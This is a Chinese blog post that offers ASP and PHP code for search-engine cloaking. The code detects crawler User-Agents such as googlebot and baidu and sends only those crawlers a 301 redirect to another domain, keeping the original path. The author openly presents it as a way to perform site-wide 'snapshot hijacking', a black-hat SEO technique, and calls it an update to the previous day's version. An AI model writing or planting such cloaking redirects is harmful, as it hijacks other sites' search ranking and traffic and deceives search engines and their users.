全站301,实现权重转移(续)

昨天写的全站301有问题,不是功能有问题,是SEO优化上不是最完美,忘了加首页分析。


借此机会把PHP的代码页写出来,并修改昨天的asp代码。罪过,罪过。


这两个代码可实现全站快照劫持。还是黑帽seo。。。(最近有点迷上了seo,居然不更新漏洞神马的)


asp代码

Function GetLocationURL() 
Dim Url 
Dim ScriptName,QueryString 
ScriptName = Request.ServerVariables("SCRIPT_NAME") 
QueryString = Request.ServerVariables("QUERY_STRING")

If ScriptName = "/index.asp" Then
	ScriptName = "/"
End if

If QueryString <> "" Then
	QueryString = "?" & QueryString
End If

GetLocationURL = ScriptName&QueryString  

End Function 

If isspider() then
	Response.Status="301 Moved Permanently"
	Response.AddHeader "Location","http://www.mxt360.com.cn"& GetLocationURL() '在这里修改要跳转到的网页
	Response.End
End if

function isspider()
dim agent,searray,i
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","spider","sogou","yahoo","soso","baidu","360")
isspider = false
for i=0 to ubound(searray)
 if (instr(agent,searray(i))>0) then isspider=true
next
end function

%>


PHP代码

<?php
	
	$ua = strtolower($_SERVER['HTTP_USER_AGENT']);
	$ps = $_SERVER['PHP_SELF'];
	$qs = $_SERVER["QUERY_STRING"];

	if($ps == "/index.php"){
		$ps = "/";
	}

	if($qs){
		$qs = "?".$qs;
	}
		
	if(isspider($ua)){
		Header("HTTP/1.1 301 Moved Permanently");
		header("location: http://www.hackblog.com.cn".$ps.$qs); //这里修改跳转到的页面
	}

	function isspider($name){
		$spider_chs=array("googlebot","spider","sogou","yahoo","soso","baidu","360");
		
		foreach($spider_chs as $spider_ch){
			if(strpos($name,$spider_ch)!==false){return true;}
		}
		
		return false;
	}
	
?>

本文由Hack Blog原创,如需转载注明原文链接

作者:test 分类:日常笔记 浏览:1248 评论:0
留言列表
发表评论
来宾的头像